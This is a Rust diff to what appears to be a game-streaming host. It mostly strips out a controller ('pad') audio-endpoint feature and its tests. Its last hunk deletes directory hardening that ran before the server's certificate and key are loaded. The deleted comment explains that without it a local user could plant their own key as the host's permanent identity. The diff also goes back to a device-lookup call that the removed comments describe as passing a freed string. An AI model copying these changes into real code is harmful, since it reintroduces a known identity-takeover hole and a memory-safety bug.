-/// data [`plan`] runs on. Detection lives in [`super::pad_endpoint`] (stamped PFDS container /
-/// devnode marker, registry-only reads); this is just the per-pass collection.
-fn pad_render_ids(renders: &[Endpoint]) -> Vec<String> {
-    renders
-        .iter()
-        .filter(|(_, id)| super::pad_endpoint::is_pad_render_endpoint(id))
-        .map(|(_, id)| id.clone())
-        .collect()
-}
-
 /// Enumerate endpoints, compute the assignment, apply the default-device changes (unless
 /// `PUNKTFUNK_KEEP_DEFAULT`), and return the plan for the caller to act on (mic target / loopback
 /// echo guard). `set_playback` — true only from the desktop-audio capture open — additionally
@@ -170,10 +159,6 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
    let want = std::env::var("PUNKTFUNK_MIC_DEVICE")
        .ok()
        .map(|s| s.to_lowercase());
-    // The host's own pad-audio ("DualSense speaker") endpoints, by id — the pure plan filters
-    // them out of every role. Identity is platform data (stamped container / devnode marker),
-    // so it is collected HERE and passed in, like the candidate lists themselves.
-    let pad_ids = pad_render_ids(&renders);
    // Mix formats are read only when we are actually going to park the playback default (i.e. a
    // desktop-audio capture is opening). The mic pump wires on every open while the host is idle
    // and does not care which loopback endpoint wins, so it must not pay an IAudioClient
@@ -194,7 +179,6 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
        // only count a *narrowing* verdict can be made against without guessing: an endpoint that
        // cannot carry stereo cannot carry 5.1 either.
        2,
-        &pad_ids,
    );
    let done = |wiring: Wiring| WiredPlan {
        wiring,
@@ -261,7 +245,7 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
    if let Some((mic_name, mic_id)) = &wiring.mic_render {
        if default_render_id().as_deref() == Some(mic_id.as_str()) {
            // Audible preference = the host_audio plan's loopback pick (real hardware first).
-            match plan(&renders, &captures, want.as_deref(), true, &pad_ids).loopback_render {
+            match plan(&renders, &captures, want.as_deref(), true).loopback_render {
                Some((name, id)) => match set_default_endpoint(&id) {
                    Ok(()) => tracing::info!(mic = %mic_name, device = %name,
                        "default playback was the virtual-mic target — moved it so desktop \
@@ -318,10 +302,8 @@ fn park_marker_path() -> std::path::PathBuf {
    pf_paths::config_dir().join("audio-default.prev")
 }

-/// The current default RENDER endpoint id, if any. pub(crate): the pad-endpoint provisioning
-/// uses it for its default-device guard (a freshly minted pad endpoint must never stay the
-/// default playback device).
-pub(crate) fn default_render_id() -> Option<String> {
+/// The current default RENDER endpoint id, if any.
+fn default_render_id() -> Option<String> {
    wasapi::DeviceEnumerator::new()
        .ok()?
        .get_default_device(&Direction::Render)
@@ -448,13 +430,11 @@ pub(crate) fn restore_default_playback() {
 }

 /// Open a device by endpoint id, with a name for error context.
-///
-/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
-/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
-/// docs), so it fails at random on ids that are perfectly valid.
 pub(crate) fn open_endpoint(ep: &Endpoint) -> Result<wasapi::Device> {
-    super::pad_endpoint::open_wasapi_device(&ep.1)
-        .map_err(|e| anyhow!("open endpoint {:?}: {e:#}", ep.0))
+    wasapi::DeviceEnumerator::new()
+        .map_err(|e| anyhow!("DeviceEnumerator: {e}"))?
+        .get_device(&ep.1)
+        .map_err(|e| anyhow!("open endpoint {:?}: {e}", ep.0))
 }

 // --- IPolicyConfig (undocumented): set a default audio endpoint by id, for all three roles. ---
@@ -501,9 +481,8 @@ const _: () = {

 /// Set `device_id` as the default audio endpoint for eConsole/eMultimedia/eCommunications via the
 /// undocumented `IPolicyConfig::SetDefaultEndpoint` (the call `mmsys.cpl` makes). Errs if any role
-/// fails. pub(crate): the pad-endpoint default-device guard restores the operator's default
-/// through the same machinery.
-pub(crate) fn set_default_endpoint(device_id: &str) -> Result<()> {
+/// fails.
+fn set_default_endpoint(device_id: &str) -> Result<()> {
    use windows::core::{IUnknown, Interface, GUID, PCWSTR};
    use windows::Win32::System::Com::{CoCreateInstance, CLSCTX_ALL};

@@ -511,7 +511,7 @@ fn capture_once(
    if assert_plan {
        if let Some(d) = seen_default.as_deref() {
            if d != dev_id {
-                match judge_default(wiring, d) {
+                match judge_default(&en, wiring, d) {
                    DefaultKind::Capturable(name) => {
                        tracing::info!(default = %name, planned = %dev_name,
                            "could not park the default playback on the planned endpoint — \
@@ -639,7 +639,7 @@ fn capture_once(
                            );
                            return Ok(Next::Reopen(TargetMode::Follow));
                        }
-                        match judge_default(wiring, &nid) {
+                        match judge_default(&en, wiring, &nid) {
                            DefaultKind::Capturable(name) => {
                                audio_client.stop_stream().ok();
                                tracing::info!(device = %name,
@@ -726,11 +726,8 @@ enum DefaultKind {
    Unknown,
 }

-/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
-/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
-/// docs), and a spurious miss here silently downgrades a capturable default to `Unknown`.
-fn judge_default(wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
-    let Ok(dev) = super::pad_endpoint::open_wasapi_device(id) else {
+fn judge_default(en: &DeviceEnumerator, wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
+    let Ok(dev) = en.get_device(id) else {
        return DefaultKind::Unknown;
    };
    let name = dev.get_friendlyname().unwrap_or_default();
@@ -739,15 +736,7 @@ fn judge_default(wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
        .mic_render
        .as_ref()
        .is_some_and(|(_, mic_id)| mic_id == id);
-    // B10: a pad's audio endpoint is not ordinary hardware, and the name rules cannot see that —
-    // it is deliberately stamped with the controller's own name ("DualSense Wireless Controller")
-    // so games treat it as the pad's speaker, which means `excluded_from_loopback` passes it
-    // straight through as `Capturable`. The pure plan filtered these out, but the plan is not the
-    // only reader: this classifier drives the watchdog, Follow mode and the parked default, so a
-    // pad endpoint that happened to be the system default could be adopted as the desktop capture
-    // source — sending the whole desktop mix to a controller's voice coils. Identity, not name.
-    let is_pad = super::pad_endpoint::is_pad_render_endpoint(id);
-    if is_mic || is_pad || wiring_plan::excluded_from_loopback(&ln) {
+    if is_mic || wiring_plan::excluded_from_loopback(&ln) {
        DefaultKind::Dud(name)
    } else {
        DefaultKind::Capturable(name)
@@ -253,16 +253,25 @@ pub(crate) fn install_steam_audio_pair() -> bool {
    mic || spk
 }

-/// Full path of a Steam Remote Play driver INF under Steam's per-arch driver directory
-/// (`%CommonProgramFiles(x86)%\Steam\drivers\Windows10\{arch}\<inf_name>`), as a NUL-terminated
-/// UTF-16 buffer. Shared by [`try_install_steam_audio`] and the pad-endpoint provisioning
-/// ([`super::pad_endpoint`]), which feeds the same INF to `UpdateDriverForPlugAndPlayDevicesW`
-/// when no installed Steam Streaming Speakers devnode exposes its `oemNN.inf`. `None` when the
-/// environment expansion fails (existence is the caller's check).
-pub(crate) fn steam_driver_inf_path(inf_name: &str) -> Option<Vec<u16>> {
-    use windows::core::PCWSTR;
+/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
+/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
+/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
+/// per-arch `drivers\Windows10\{arch}\` directory.
+///
+/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
+/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
+/// inside, which is this function's own business.
+fn try_install_steam_audio(inf_name: &str) -> bool {
+    use windows::core::{s, w, PCWSTR};
+    use windows::Win32::Foundation::HWND;
    use windows::Win32::System::Environment::ExpandEnvironmentStringsW;
+    use windows::Win32::System::LibraryLoader::{
+        GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
+    };

+    if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
+        return false;
+    }
    // Steam ships per-arch driver INFs under `Steam\drivers\Windows10\{arch}\`.
    #[cfg(target_arch = "x86_64")]
    let subdir = "x64";
@@ -281,33 +290,8 @@ pub(crate) fn steam_driver_inf_path(inf_name: &str) -> Option<Vec<u16>> {
    let n =
        unsafe { ExpandEnvironmentStringsW(PCWSTR(template.as_ptr()), Some(path.as_mut_slice())) };
    if n == 0 || n as usize > path.len() {
-        return None;
-    }
-    path.truncate(n as usize); // keeps the NUL
-    Some(path)
-}
-
-/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
-/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
-/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
-/// per-arch `drivers\Windows10\{arch}\` directory.
-///
-/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
-/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
-/// inside, which is this function's own business.
-fn try_install_steam_audio(inf_name: &str) -> bool {
-    use windows::core::{s, w, PCWSTR};
-    use windows::Win32::Foundation::HWND;
-    use windows::Win32::System::LibraryLoader::{
-        GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
-    };
-
-    if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
        return false;
    }
-    let Some(path) = steam_driver_inf_path(inf_name) else {
-        return false;
-    };

    // SAFETY: a static NUL-terminated literal, loaded from System32 only (the flag), so this cannot
    // pick up a planted `newdev.dll` from the working directory. The handle is checked before use.
@@ -186,17 +186,6 @@ fn virtualish(lname: &str) -> bool {
        || lname.contains("voicemeeter")
 }

-/// Is this render endpoint id one of the virtual pad's audio endpoints?
-///
-/// Pulled out of [`plan`] because the plan is NOT the only place that must not treat these as
-/// ordinary hardware — see [`excluded_from_loopback`]'s callers. A pad endpoint is deliberately
-/// stamped with the controller's own name ("DualSense Wireless Controller") so games read it as
-/// the pad's speaker, which means no name-based rule can recognise one; the only reliable test is
-/// identity against the ids the pad-endpoint provisioner created.
-pub(crate) fn is_pad_render(id: &str, pad_renders: &[String]) -> bool {
-    pad_renders.iter().any(|p| p == id)
-}
-
 /// Compute the assignment. `mic_want` is the operator override (`PUNKTFUNK_MIC_DEVICE`,
 /// lowercased): when set it beats the built-in candidate order for the mic target. `host_audio`
 /// flips the loopback preference to real hardware (audio audible on the host too); the default
@@ -206,17 +195,8 @@ pub(crate) fn plan(
    captures: &[Endpoint],
    mic_want: Option<&str>,
    host_audio: bool,
-    pad_renders: &[String],
 ) -> Wiring {
-    plan_with_formats(
-        renders,
-        captures,
-        mic_want,
-        host_audio,
-        &no_formats,
-        2,
-        pad_renders,
-    )
+    plan_with_formats(renders, captures, mic_want, host_audio, &no_formats, 2)
 }

 /// [`plan`] with knowledge of each render endpoint's engine mix format, and the channel count the
@@ -241,20 +221,7 @@ pub(crate) fn plan_with_formats(
    host_audio: bool,
    format_of: FormatProbe,
    want_channels: u8,
-    pad_renders: &[String],
 ) -> Wiring {
-    // 0. Pad-audio endpoints are invisible to the plan: never the mic target (client voice
-    //    would play out of a pad "speaker"), never a loopback source (a game's controller
-    //    audio cues would stream as desktop audio), and — since this shadows `renders` for
-    //    every tier below — never the flagged last resort either. Their names carry no virtual
-    //    marker (they are stamped "DualSense Wireless Controller" on purpose, so games read
-    //    them as the pad's speaker), so the name rules alone would take one for real hardware.
-    let renders: Vec<Endpoint> = renders
-        .iter()
-        .filter(|(_, id)| !is_pad_render(id, pad_renders))
-        .cloned()
-        .collect();
-    let renders = renders.as_slice();
    let find_render = |needle: &str| {
        renders
            .iter()
@@ -455,7 +422,7 @@ mod tests {
            ep("Microphone (Webcam)"),
            ep("CABLE Output (VB-Audio Virtual Cable)"),
        ];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "CABLE Input (VB-Audio Virtual Cable)"
@@ -484,7 +451,7 @@ mod tests {
            ep("CABLE Output (VB-Audio Virtual Cable)"),
            ep("Microphone (Steam Streaming Microphone)"),
        ];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "CABLE Input (VB-Audio Virtual Cable)"
@@ -504,7 +471,7 @@ mod tests {
            ep("CABLE Input (VB-Audio Virtual Cable)"),
            ep("Speakers (Steam Streaming Microphone)"),
        ];
-        let w = plan(&renders, &[], None, true, &[]);
+        let w = plan(&renders, &[], None, true);
        assert_eq!(
            w.loopback_render.unwrap().0,
            "Speakers (Apple Audio Device)"
@@ -521,7 +488,7 @@ mod tests {
            ep("CABLE In 16ch (VB-Audio Virtual Cable)"),
        ];
        for host_audio in [false, true] {
-            let w = plan(&renders, &[], None, host_audio, &[]);
+            let w = plan(&renders, &[], None, host_audio);
            assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
        }
    }
@@ -533,7 +500,7 @@ mod tests {
    fn headless_cable_only_mic_wins() {
        let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
        let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert!(w.mic_render.is_some(), "mic must claim the only cable");
        assert!(w.loopback_render.is_none(), "no echo-safe loopback exists");
    }
@@ -551,7 +518,7 @@ mod tests {
            ep("CABLE Output (VB-Audio Virtual Cable)"),
            ep("Microphone (Steam Streaming Microphone)"),
        ];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "CABLE Input (VB-Audio Virtual Cable)"
@@ -579,7 +546,7 @@ mod tests {
            ep("Speakers (Realtek HD Audio)"),
        ];
        let captures = [ep("Microphone (Steam Streaming Microphone)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "Speakers (Steam Streaming Microphone)"
@@ -593,7 +560,7 @@ mod tests {
    fn steam_mic_only_no_echo() {
        let renders = [ep("Speakers (Steam Streaming Microphone)")];
        let captures = [ep("Microphone (Steam Streaming Microphone)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert!(w.mic_render.is_some());
        assert!(w.loopback_render.is_none());
    }
@@ -609,7 +576,7 @@ mod tests {
            ep("Speakers (Steam Streaming Speakers)"),
        ];
        for host_audio in [false, true] {
-            let w = plan(&renders, &[], None, host_audio, &[]);
+            let w = plan(&renders, &[], None, host_audio);
            assert_eq!(
                w.loopback_render.as_ref().unwrap().0,
                "Speakers (Steam Streaming Speakers)",
@@ -630,7 +597,7 @@ mod tests {
            ep("Altavoces (Steam Streaming Microphone)"),
        ];
        let captures = [ep("Microphone (Steam Streaming Microphone)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "Altavoces (Steam Streaming Microphone)"
@@ -653,7 +620,7 @@ mod tests {
        ];
        let captures = [ep("Microphone (Steam Streaming Microphone)")];
        for host_audio in [false, true] {
-            let w = plan(&renders, &captures, None, host_audio, &[]);
+            let w = plan(&renders, &captures, None, host_audio);
            assert_eq!(
                w.loopback_render.as_ref().unwrap().0,
                "Speakers (Realtek HD Audio)",
@@ -675,7 +642,7 @@ mod tests {
        ];
        let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
        for host_audio in [false, true] {
-            let w = plan(&renders, &captures, None, host_audio, &[]);
+            let w = plan(&renders, &captures, None, host_audio);
            assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
            assert!(!w.loopback_last_resort, "host_audio={host_audio}");
            assert!(w.loopback_unsatisfiable(), "host_audio={host_audio}");
@@ -724,7 +691,7 @@ mod tests {
            ("steam streaming microphone", fmt(24_000, 1)),
            ("odyssey", fmt(48_000, 2)),
        ]);
-        let w = plan_with_formats(&renders, &captures, None, false, &p, 2, &[]);
+        let w = plan_with_formats(&renders, &captures, None, false, &p, 2);
        assert_eq!(
            w.loopback_render.as_ref().unwrap().0,
            "1 - Odyssey G60SD (AMD High Definition Audio Device)",
@@ -754,7 +721,7 @@ mod tests {
            ("steam streaming microphone", fmt(48_000, 2)),
            ("realtek", fmt(48_000, 2)),
        ]);
-        let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
+        let w = plan_with_formats(&renders, &[], None, false, &p, 2);
        assert_eq!(
            w.loopback_render.unwrap().0,
            "Speakers (Steam Streaming Microphone)"
@@ -770,7 +737,7 @@ mod tests {
            ep("Speakers (Steam Streaming Microphone)"),
        ];
        let p = probe(vec![("steam streaming microphone", fmt(16_000, 1))]);
-        let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
+        let w = plan_with_formats(&renders, &[], None, false, &p, 2);
        assert_eq!(
            w.loopback_render.as_ref().unwrap().0,
            "Speakers (Steam Streaming Microphone)"
@@ -786,7 +753,7 @@ mod tests {
    fn narrowing_is_reported_for_real_hardware_too() {
        let renders = [ep("Headset (Hands-Free AG Audio)")];
        let p = probe(vec![("headset", fmt(16_000, 1))]);
-        let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
+        let w = plan_with_formats(&renders, &[], None, false, &p, 2);
        assert_eq!(
            w.loopback_render.as_ref().unwrap().0,
            "Headset (Hands-Free AG Audio)"
@@ -806,8 +773,8 @@ mod tests {
        ];
        let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
        for host_audio in [false, true] {
-            let a = plan(&renders, &captures, None, host_audio, &[]);
-            let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2, &[]);
+            let a = plan(&renders, &captures, None, host_audio);
+            let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2);
            assert_eq!(a, b, "host_audio={host_audio}");
            assert!(a.loopback_narrowing.is_none());
        }
@@ -825,7 +792,7 @@ mod tests {
            ("steam streaming microphone", fmt(24_000, 1)),
            ("realtek", fmt(48_000, 2)),
        ]);
-        let w = plan_with_formats(&renders, &[], None, true, &p, 2, &[]);
+        let w = plan_with_formats(&renders, &[], None, true, &p, 2);
        assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
    }

@@ -853,7 +820,7 @@ mod tests {
            ep("Voicemeeter Input (VB-Audio Voicemeeter VAIO)"),
        ];
        let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
-        let w = plan(&renders, &captures, Some("voicemeeter input"), false, &[]);
+        let w = plan(&renders, &captures, Some("voicemeeter input"), false);
        assert_eq!(
            w.mic_render.unwrap().0,
            "Voicemeeter Input (VB-Audio Voicemeeter VAIO)"
@@ -869,7 +836,7 @@ mod tests {
    #[test]
    fn no_virtual_device() {
        let renders = [ep("Speakers (Realtek HD Audio)")];
-        let w = plan(&renders, &[], None, false, &[]);
+        let w = plan(&renders, &[], None, false);
        assert!(w.mic_render.is_none());
        assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
    }
@@ -887,7 +854,7 @@ mod tests {
        ];
        let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
        for host_audio in [false, true] {
-            let w = plan(&renders, &captures, None, host_audio, &[]);
+            let w = plan(&renders, &captures, None, host_audio);
            assert_eq!(
                w.mic_render.as_ref().unwrap().0,
                "Voicemeeter Input (VB-Audio Voicemeeter VAIO)",
@@ -910,7 +877,7 @@ mod tests {
            ep("Voicemeeter Aux Input (VB-Audio Voicemeeter AUX VAIO)"),
        ];
        for host_audio in [false, true] {
-            let w = plan(&renders, &[], None, host_audio, &[]);
+            let w = plan(&renders, &[], None, host_audio);
            assert!(w.mic_render.is_some(), "host_audio={host_audio}");
            assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
        }
@@ -925,7 +892,7 @@ mod tests {
            ep("CABLE Input (VB-Audio Virtual Cable)"),
            ep("Speakers (Some Virtual Audio Device)"),
        ];
-        let w = plan(&renders, &[], None, false, &[]);
+        let w = plan(&renders, &[], None, false);
        assert!(w.loopback_render.is_none());
    }

@@ -951,7 +918,7 @@ mod tests {
        // Field shape minus the Speakers (mic holds the Streaming Microphone, nothing else).
        let renders = [ep("Altavoces (Steam Streaming Microphone)")];
        let captures = [ep("Microphone (Steam Streaming Microphone)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert!(w.loopback_unsatisfiable());
        let msg = describe_no_loopback(&renders, &w);
        assert!(msg.contains("reserved for the virtual mic"), "{msg}");
@@ -962,70 +929,10 @@ mod tests {
        // anyway), while the Steam pair is the remedy that adds a capturable sink.
        let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
        let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
-        let w = plan(&renders, &captures, None, false, &[]);
+        let w = plan(&renders, &captures, None, false);
        assert!(w.loopback_unsatisfiable());
        let msg = describe_no_loopback(&renders, &w);
        assert!(msg.contains("install Steam"), "{msg}");
        assert!(!msg.contains("install VB-Audio Virtual Cable"), "{msg}");
    }
-
-    /// A stamped pad endpoint is invisible to the plan. Its name carries NO virtual marker — on
-    /// purpose, games must read it as the pad's speaker — so the name rules alone would classify
-    /// it as real hardware and hand it the loopback; only the id exclusion prevents that.
-    /// Measured fact: the wiring plan on the target box already enumerated a stamped endpoint.
-    #[test]
-    fn pad_endpoints_invisible() {
-        let renders = [
-            ep("DualSense Wireless Controller"),
-            ep("Speakers (Realtek HD Audio)"),
-        ];
-        let pads = [renders[0].1.clone()];
-        let w = plan(&renders, &[], None, false, &pads);
-        assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
-        // Even an operator mic override matching the pad's name must not claim it; with the
-        // pad as the only render endpoint there is honestly no mic target and no loopback.
-        let w = plan(
-            &renders[..1],
-            &[],
-            Some("wireless controller"),
-            false,
-            &pads,
-        );
-        assert!(w.mic_render.is_none());
-        assert!(w.loopback_render.is_none());
-    }
-
-    /// The exclusion has to survive the LAST RESORT tier, which this merge introduced alongside
-    /// pad audio. `last_resort` matches on the Steam-Speakers name, but it reads the same
-    /// shadowed `renders`, so a pad can never be reached through it either — otherwise the whole
-    /// desktop mix would be routed into the controller's voice coils.
-    #[test]
-    fn a_pad_is_never_the_last_resort() {
-        // Only the pad and the Steam pair exist; the mic reserves the Streaming Microphone, so
-        // the plan falls all the way through to the last resort.
-        let renders = [
-            ep("DualSense Wireless Controller"),
-            ep("Speakers (Steam Streaming Microphone)"),
-            ep("Speakers (Steam Streaming Speakers)"),
-        ];
-        let captures = [ep("Microphone (Steam Streaming Microphone)")];
-        let pads = [renders[0].1.clone()];
-        let w = plan(&renders, &captures, None, false, &pads);
-        assert_eq!(
-            w.loopback_render.as_ref().unwrap().0,
-            "Speakers (Steam Streaming Speakers)",
-            "the last resort must skip the pad"
-        );
-        assert!(w.loopback_last_resort);
-
-        // …and with the pad as the ONLY candidate left, the plan stays honestly unsatisfiable
-        // rather than falling back onto the coils.
-        let w = plan(&renders[..1], &captures, None, false, &pads);
-        assert!(
-            w.loopback_render.is_none(),
-            "a pad was taken as the last resort"
-        );
-        assert!(!w.loopback_last_resort);
-        assert!(w.loopback_unsatisfiable());
-    }
 }
@@ -384,7 +384,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
                index: idx,
                kind: 2,
                capabilities: 0,
-                audio_caps: 0,
            });
            println!(
                "virtual {} up — cycling Cross + sweeping the left stick for {secs}s. Watch \
@@ -431,7 +430,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
            index: idx,
            kind: 1,
            capabilities: 0,
-            audio_caps: 0,
        });
        println!(
            "virtual Xbox 360 (XUSB) up — sweeping LS + toggling A for {secs}s. Check with \
@@ -488,119 +486,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
    Ok(())
 }

-/// Windows: pad-audio endpoint provisioning — `pad-endpoint ensure|remove|status [--index N]`.
-/// `ensure` runs the idempotent startup path (reuse-or-create the devnode, bind the Steam
-/// Streaming Speakers driver, stamp the DualSense identity + 4ch/48k formats, report whether
-/// the stamps are SERVED); `status` prints the devnode/endpoint and per-stamp stored vs served
-/// state without changing anything; `remove` deletes the devnode via pnputil — the escape
-/// hatch only, endpoints are persistent by design. Stamping needs SYSTEM (the MMDevices ACL);
-/// run `ensure` under the service account or PsExec when the property-store route is denied.
-#[cfg(target_os = "windows")]
-pub fn pad_endpoint(args: &[String]) -> Result<()> {
-    use crate::audio::pad_endpoint as pe;
-    let idx: u8 = args
-        .iter()
-        .skip_while(|a| *a != "--index")
-        .nth(1)
-        .and_then(|s| s.parse().ok())
-        .unwrap_or(0);
-    // `--endpoint <id>` drives ANY render endpoint, not just a provisioned pad one. It is the
-    // discriminator between "this process cannot activate anything" and "our endpoint is broken":
-    // aim the same binary at a known-good endpoint and see whether it succeeds there.
-    let endpoint_override: Option<String> = args
-        .iter()
-        .skip_while(|a| *a != "--endpoint")
-        .nth(1)
-        .cloned();
-    match args.get(1).map(String::as_str) {
-        Some("ensure") => {
-            let p = pe::ensure(idx)?;
-            println!(
-                "pad-endpoint ensure: pad {} devnode {} endpoint {} needs_aeb_kick={}",
-                p.pad_index, p.device_instance, p.endpoint_id, p.needs_aeb_kick
-            );
-            Ok(())
-        }
-        Some("remove") => match pe::find(idx)? {
-            Some(p) => {
-                pe::remove(&p);
-                println!(
-                    "pad-endpoint remove: requested removal of {}",
-                    p.device_instance
-                );
-                Ok(())
-            }
-            None => {
-                println!("pad-endpoint remove: no pad-audio devnode for index {idx}");
-                Ok(())
-            }
-        },
-        // `punktfunk-host pad-endpoint <n> tone [seconds] [hz]` — drive the endpoint directly so
-        // the whole pad-audio chain can be exercised without a game. Without this, every attempt
-        // costs a game launch and a failure does not say which link broke.
-        Some("tone") => {
-            let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
-            let hz: f32 = args.get(3).and_then(|s| s.parse().ok()).unwrap_or(60.0);
-            let endpoint_id = match endpoint_override {
-                Some(id) => id,
-                None => {
-                    // `find` (a system lookup), NOT `endpoint_for` (the service's in-process
-                    // cache): this runs as a separate CLI process and has no cache of its own.
-                    let Some(ep) = pe::find(idx)? else {
-                        println!(
-                            "pad-endpoint tone: no pad-audio devnode for pad {idx} — run \
-                             `ensure` first"
-                        );
-                        return Ok(());
-                    };
-                    if ep.endpoint_id.is_empty() {
-                        println!("pad-endpoint tone: pad {idx} has no endpoint id yet");
-                        return Ok(());
-                    }
-                    ep.endpoint_id
-                }
-            };
-            // `--pair front` drives the pad's SPEAKER instead of the voice coils — the only way to
-            // exercise the speaker kind without a game that renders one.
-            let pair = args
-                .iter()
-                .skip_while(|a| *a != "--pair")
-                .nth(1)
-                .map_or(pe::TonePair::Back, |s| pe::TonePair::parse(s));
-            println!(
-                "pad-endpoint tone: {hz} Hz into the {} of {endpoint_id} for {secs}s",
-                pair.label()
-            );
-            pe::render_test_tone(&endpoint_id, secs, hz, pair)?;
-            println!(
-                "pad-endpoint tone: done. A connected client with pad audio enabled should have \
-                 buzzed; the host log shows whether the gate opened."
-            );
-            Ok(())
-        }
-        // `punktfunk-host pad-endpoint capture [seconds]` — the receiving half of `tone`. Run
-        // both at once to exercise render -> engine -> loopback -> pair routing with no game and
-        // no client attached.
-        Some("capture") => {
-            let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
-            let endpoint_id = match endpoint_override {
-                Some(id) => id,
-                None => match pe::find(idx)? {
-                    Some(ep) if !ep.endpoint_id.is_empty() => ep.endpoint_id,
-                    _ => {
-                        println!("pad-endpoint capture: pad {idx} has no endpoint — run `ensure`");
-                        return Ok(());
-                    }
-                },
-            };
-            println!("pad-endpoint capture: listening on {endpoint_id} for {secs}s");
-            pe::capture_probe(&endpoint_id, secs)
-        }
-        Some("status") => pe::print_status(idx),
-        _ => anyhow::bail!("usage: punktfunk-host pad-endpoint <ensure|remove|status> [--index N]"),
-    }
-}
-
 /// Mirror a physical monitor and pull frames from it — the on-glass gate for per-monitor capture
 /// (`design/per-monitor-portal-capture.md` P2/P3), without needing a client to connect.
 ///
@@ -245,19 +245,6 @@ mod tests {
        }
    }

-    /// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them),
-    /// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner
-    /// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This
-    /// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been.
-    #[test]
-    fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() {
-        // What the built-in scanner produced, and what the steam plugin produces once it claims.
-        assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440"));
-        // The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app
-        // id, i.e. exactly the breakage the claim prevents.
-        assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a"));
-    }
-
    #[test]
    fn append_library_dedups_against_base_ids() {
        // A base app whose id happens to fall in the library range must not be clobbered by a library
@@ -26,14 +26,6 @@ impl ServerIdentity {
        let dir = config_dir();
        let cert_path = dir.join("cert.pem");
        let key_path = dir.join("key.pem");
-        // Harden the directory BEFORE the first read, not only in the branch that generates a new
-        // identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
-        // against the attack it was written for: combined with H-4's pre-creatable
-        // `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
-        // verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
-        // the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
-        // this function never regenerates while both files are non-empty.
-        pf_paths::create_private_dir(&dir).ok();
        let (cert_pem, key_pem) = match (
            fs::read_to_string(&cert_path),
            fs::read_to_string(&key_path),
